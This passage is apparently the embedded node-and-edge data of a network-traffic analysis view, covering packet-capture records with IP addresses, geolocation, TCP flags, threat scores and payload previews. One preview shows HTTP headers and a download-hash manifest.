\"size\": 54, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1784451634.652039, \"size\": 562, \"direction\": \"sent\"}, {\"num\": 13, \"time\": 1784451634.699603, \"size\": 54, \"direction\": \"received\"}, {\"num\": 16, \"time\": 1784451644.527327, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 17, \"time\": 1784451644.527573, \"size\": 54, \"direction\": \"received\"}, {\"num\": 18, \"time\": 1784451644.527697, \"size\": 54, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1784451644.527711, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"United States\", \"city\": \"Unknown\", \"lat\": 37.751, \"lon\": -97.822, \"asn\": 215724, \"isp\": \"Edgevana, Inc.\", \"network\": \"85.208.10.0/23\"}, \"duration\": 10.331283807754517, \"avg_packet_size\": 356.5625, \"packets_per_second\": 1.548694266630312}, {\"id\": \"96.16.53.133\", \"ip\": \"96.16.53.133\", \"packet_count\": 2, \"total_bytes_sent\": 1514, \"total_bytes_received\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"ports_used\": [443], \"first_seen\": 1784451636.246635, \"last_seen\": 1784451636.246758, \"packets\": [{\"num\": 14, \"time\": 1784451636.246635, \"size\": 1514, \"direction\": \"sent\"}, {\"num\": 15, \"time\": 1784451636.246758, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Haarlem\", \"lat\": 52.3803, \"lon\": 4.6422, \"asn\": 20940, \"isp\": \"Akamai International B.V.\", \"network\": \"96.16.53.0/24\"}, \"duration\": 0.00012302398681640625, \"avg_packet_size\": 784.0, \"packets_per_second\": 16256.992248062015}, {\"id\": \"23.207.106.113\", \"ip\": \"23.207.106.113\", \"packet_count\": 4, \"total_bytes_sent\": 139, \"total_bytes_received\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1784451812.522965, \"last_seen\": 1784451812.523335, \"packets\": [{\"num\": 20, \"time\": 1784451812.522965, \"size\": 85, \"direction\": \"sent\"}, {\"num\": 21, \"time\": 1784451812.523028, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 22, \"time\": 1784451812.523335, \"size\": 54, \"direction\": \"received\"}, {\"num\": 23, \"time\": 1784451812.523335, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Schiphol\", \"lat\": 52.2973, \"lon\": 4.7946, \"asn\": 16625, \"isp\": \"Akamai Technologies, Inc.\", \"network\": \"23.207.96.0/19\"}, \"duration\": 0.000370025634765625, \"avg_packet_size\": 61.75, \"packets_per_second\": 10810.061855670103}, {\"id\": \"96.16.53.163\", \"ip\": \"96.16.53.163\", \"packet_count\": 4, \"total_bytes_sent\": 139, \"total_bytes_received\": 108, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1784451871.896765, \"last_seen\": 1784451871.89698, \"packets\": [{\"num\": 24, \"time\": 1784451871.896765, \"size\": 85, \"direction\": \"sent\"}, {\"num\": 25, \"time\": 1784451871.896794, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1784451871.896965, \"size\": 54, \"direction\": \"received\"}, {\"num\": 27, \"time\": 1784451871.89698, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.3, \"geo\": {\"country\": \"The Netherlands\", \"city\": \"Haarlem\", \"lat\": 52.3803, \"lon\": 4.6422, \"asn\": 20940, \"isp\": \"Akamai International B.V.\", \"network\": \"96.16.53.0/24\"}, \"duration\": 0.00021505355834960938, \"avg_packet_size\": 61.75, \"packets_per_second\": 18600.0177383592}];\n        const edges = [{\"source\": \"151.101.206.172\", \"target\": \"10.152.152.11\", \"packet_count\": 1, \"total_bytes\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64097], \"first_packet\": 1784451620.374604, \"last_packet\": 1784451620.374604, \"packets\": [{\"packet_number\": 0, \"timestamp\": 1784451620.374604, \"timestamp_iso\": \"2026-07-19T14:30:20.374604\", \"timestamp_human\": \"2026-07-19 14:30:20.374\", \"size\": 1514, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"151.101.206.172\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 61442, \"ip_len\": 1500, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64097, \"tcp_seq\": 4005049300, \"tcp_ack\": 641155153, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\", \"payload_size\": 659, \"payload_preview\": \"a41e800bdea37dddd0e6069dfe46ba3ebe635848812efbdd3febe0e221285f5e3f5248299f2b2e99588cf2aa74812f00c8b51ec99c17f18b79fbf4db14eb7ea05f86d97f2edbddc6b17dc3545ecf8d27daad28c4ae52f8c5a50c39a3c872d5e3642d31681d1b57427d5814b8017b81d691f5693c7901b6fb45a6bfa1b793c2b5ceea38ad7dd74f65c1ac6ece56a8efebef535669bf00ba79b5d751cdda4cc44a3eac98bf9db38e0cdf11666860fe93e7b9f3e3a11b675930b6e422a504af9c341446d46f5b5a45da7b37f47aadf7b4716bb486ad43939c5092921d7aef9023e8b28d4d575b5d7fc974f5875d446bbe645ed705cfd9976e1c6aae643b6ba88695ba6c7d184f14aba01db3c615f6ecdb8dc53c203dcdf7375d4e6ce62bc80a51bfbb39d51e9ec25761fa870024c14bd52203aea803a50abd3c0b12566a85e1f71dc9dc388c9b6fe5da15363612488c9ccdbc74edd3553fa7dff31e20d725bfcc26bda4959ba3f621307b856c8257e77225276c996ac29aa4e6ced7e7da751671fdfa11bec5597da2b9b19a88cf22d8dc7f18def57b1ce39a42b87d9fb056faa85743193f496284692256999f37fd831f14a549393f9d4412e46cd4b416ec2a89e8021f24378993806cb3485e6fe752fe560968984124e57cd4c79a82a69e4d084d97619d31db1a543273b63dd0aa8052986b978337132b04c0c540a7aa3295dd91c621cdb9035f5dd0e1dae1ebf2a08a5ebffb1d92e2a1ce002151213f67ee11a426313de58bed39bd72debba0073efb6d9ed5f30a92482a8a78184670e1aa0b4a950bc734a908737875600f732a2fde81eaa564bd8a8088ee2ba59b9e732fa7a1f0a29fd6b6d31496ed4bb2bb223740e34fae843a71553c08524eec53526fde45a7ce11b287012eb3a2deb581f665e6d062d12c\", \"payload_ascii\": \"\\u001e\\u000b}\\u0006F>cXH.?!(_^?RH)+.Xt/\\u0000\\u001e\\u0017y\\u0014~_\\u007f.}T^'(R\\f9rd-1h\\u001d\\u001bWB}X\\u0014\\u0001{i<y\\u0001E8}OenVSVi\\u0000yQLJ>\\f\\u0011fh`\\u001bgY0\\\"\\u00044\\u0014Fo[ZE{7zqkCP\\u001dz#MW[]\\u007ft]Dkd^\\u0005n\\u001cjd;kl}\\u0018O\\u0014\\u001d\\u0015< =7]Nl+\\nQ9\\u001eWa\\u0000$K\\\"\\u0003\\u0003\\n<\\u000b\\u0012Vj\\u001d8o\\u001566\\u0012HtU?\\u001e %&!0{lWr%'lju\\u0016q\\u0011Y}\\\"\\u007f\\u0018{\\u001cB}VWC\\u0019?Ibi\\\"V7\\u001f\\u0014I9?D\\u0012l\\u0016*\\u0002\\u001f$7lH^oRV\\thA$|M\\bMa1\\u001aT2s=Rk7\\u0013+\\u0004@2!\\u0003_]^\\u001d\\u0000!Q!?g\\u0011&1=9r\\u0007>m\\nH*x\\u0018Fp\\u000bJ\\u000b4\\bsxu`\\u000fs*/d+s/\\u0014K\\\"7@O:qU<\\bRNSRoE\\u0011\\u0001.eb,\"}], \"tcp_flags\": {\"ACK\": 1}, \"packet_sizes\": [1514], \"inter_packet_intervals\": [], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 0.0, \"avg_packet_size\": 1514.0, \"packets_per_second\": 0, \"bytes_per_second\": 0, \"min_packet_size\": 1514, \"max_packet_size\": 1514, \"median_packet_size\": 1514}, {\"source\": \"10.152.152.11\", \"target\": \"151.101.206.172\", \"packet_count\": 1, \"total_bytes\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ports\": [64097], \"dst_ports\": [80], \"first_packet\": 1784451620.374923, \"last_packet\": 1784451620.374923, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1784451620.374923, \"timestamp_iso\": \"2026-07-19T14:30:20.374923\", \"timestamp_human\": \"2026-07-19 14:30:20.374\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"151.101.206.172\", \"ttl\": 128, \"ip_id\": 12, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64097, \"dst_port\": 80, \"tcp_seq\": 641155153, \"tcp_ack\": 641155153, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST\"}], \"tcp_flags\": {\"RST\": 1}, \"packet_sizes\": [54], \"inter_packet_intervals\": [], \"connection_type\": \"TCP Data\", \"threat_level\": \"low\", \"duration\": 0.0, \"avg_packet_size\": 54.0, \"packets_per_second\": 0, \"bytes_per_second\": 0, \"min_packet_size\": 54, \"max_packet_size\": 54, \"median_packet_size\": 54}, {\"source\": \"10.152.152.11\", \"target\": \"85.208.10.201\", \"packet_count\": 8, \"total_bytes\": 849, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64008], \"dst_ports\": [80], \"first_packet\": 1784451634.196427, \"last_packet\": 1784451644.527697, \"packets\": [{\"packet_number\": 2, \"timestamp\": 1784451634.196427, \"timestamp_iso\": \"2026-07-19T14:30:34.196427\", \"timestamp_human\": \"2026-07-19 14:30:34.196\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42511, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658278, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 4, \"timestamp\": 1784451634.19667, \"timestamp_iso\": \"2026-07-19T14:30:34.196670\", \"timestamp_human\": \"2026-07-19 14:30:34.196\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42512, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658279, \"tcp_ack\": 2113370603, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1784451634.196707, \"timestamp_iso\": \"2026-07-19T14:30:34.196707\", \"timestamp_human\": \"2026-07-19 14:30:34.196\", \"size\": 459, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42513, \"ip_len\": 445, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658279, \"tcp_ack\": 2113370603, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 9, \"timestamp\": 1784451634.641728, \"timestamp_iso\": \"2026-07-19T14:30:34.641728\", \"timestamp_human\": \"2026-07-19 14:30:34.641\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42514, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658684, \"tcp_ack\": 2113374011, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1784451634.641954, \"timestamp_iso\": \"2026-07-19T14:30:34.641954\", \"timestamp_human\": \"2026-07-19 14:30:34.641\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42515, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658684, \"tcp_ack\": 2113374507, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 13, \"timestamp\": 1784451634.699603, \"timestamp_iso\": \"2026-07-19T14:30:34.699603\", \"timestamp_human\": \"2026-07-19 14:30:34.699\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42516, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658684, \"tcp_ack\": 2113375015, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 17, \"timestamp\": 1784451644.527573, \"timestamp_iso\": \"2026-07-19T14:30:44.527573\", \"timestamp_human\": \"2026-07-19 14:30:44.527\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42517, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658684, \"tcp_ack\": 2113375016, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 18, \"timestamp\": 1784451644.527697, \"timestamp_iso\": \"2026-07-19T14:30:44.527697\", \"timestamp_human\": \"2026-07-19 14:30:44.527\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"85.208.10.201\", \"ttl\": 128, \"ip_id\": 42518, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64008, \"dst_port\": 80, \"tcp_seq\": 1664658684, \"tcp_ack\": 2113375016, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 7, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 54, 459, 54, 54, 54, 54, 54], \"inter_packet_intervals\": [0.0002429485321044922, 3.695487976074219e-05, 0.4450209140777588, 0.00022602081298828125, 0.05764913558959961, 9.827970027923584, 0.0001239776611328125], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 10.331269979476929, \"avg_packet_size\": 106.125, \"packets_per_second\": 0.7743481697692541, \"bytes_per_second\": 82.1776995167621, \"min_packet_size\": 54, \"max_packet_size\": 459, \"median_packet_size\": 54, \"avg_interval\": 1.475895711353847, \"min_interval\": 3.695487976074219e-05, \"max_interval\": 9.827970027923584}, {\"source\": \"85.208.10.201\", \"target\": \"10.152.152.11\", \"packet_count\": 8, \"total_bytes\": 4856, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64008], \"first_packet\": 1784451634.196471, \"last_packet\": 1784451644.527711, \"packets\": [{\"packet_number\": 3, \"timestamp\": 1784451634.196471, \"timestamp_iso\": \"2026-07-19T14:30:34.196471\", \"timestamp_human\": \"2026-07-19 14:30:34.196\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113370602, \"tcp_ack\": 1664658279, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 6, \"timestamp\": 1784451634.196712, \"timestamp_iso\": \"2026-07-19T14:30:34.196712\", \"timestamp_human\": \"2026-07-19 14:30:34.196\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42005, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113370603, \"tcp_ack\": 1664658684, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 7, \"timestamp\": 1784451634.641353, \"timestamp_iso\": \"2026-07-19T14:30:34.641353\", \"timestamp_human\": \"2026-07-19 14:30:34.641\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42006, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113370603, \"tcp_ack\": 1664658684, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1784451634.641586, \"timestamp_iso\": \"2026-07-19T14:30:34.641586\", \"timestamp_human\": \"2026-07-19 14:30:34.641\", \"size\": 2974, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"85.208.10.201\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 42007, \"ip_len\": 2960, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64008, \"tcp_seq\": 2113371091, \"tcp_ack\": 1664658684, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2920, \"payload_preview\": \"6c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178\", \"payload_ascii\": \"lob: 'unsafe-inline'\\r\\nX-XSS-Protection: 1; mode=block\\r\\nX-Frame-Options: SAMEORIGIN\\r\\nX-Cache-Status: STALE\\r\\nAccept-Ranges: bytes\\r\\n\\r\\n{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKD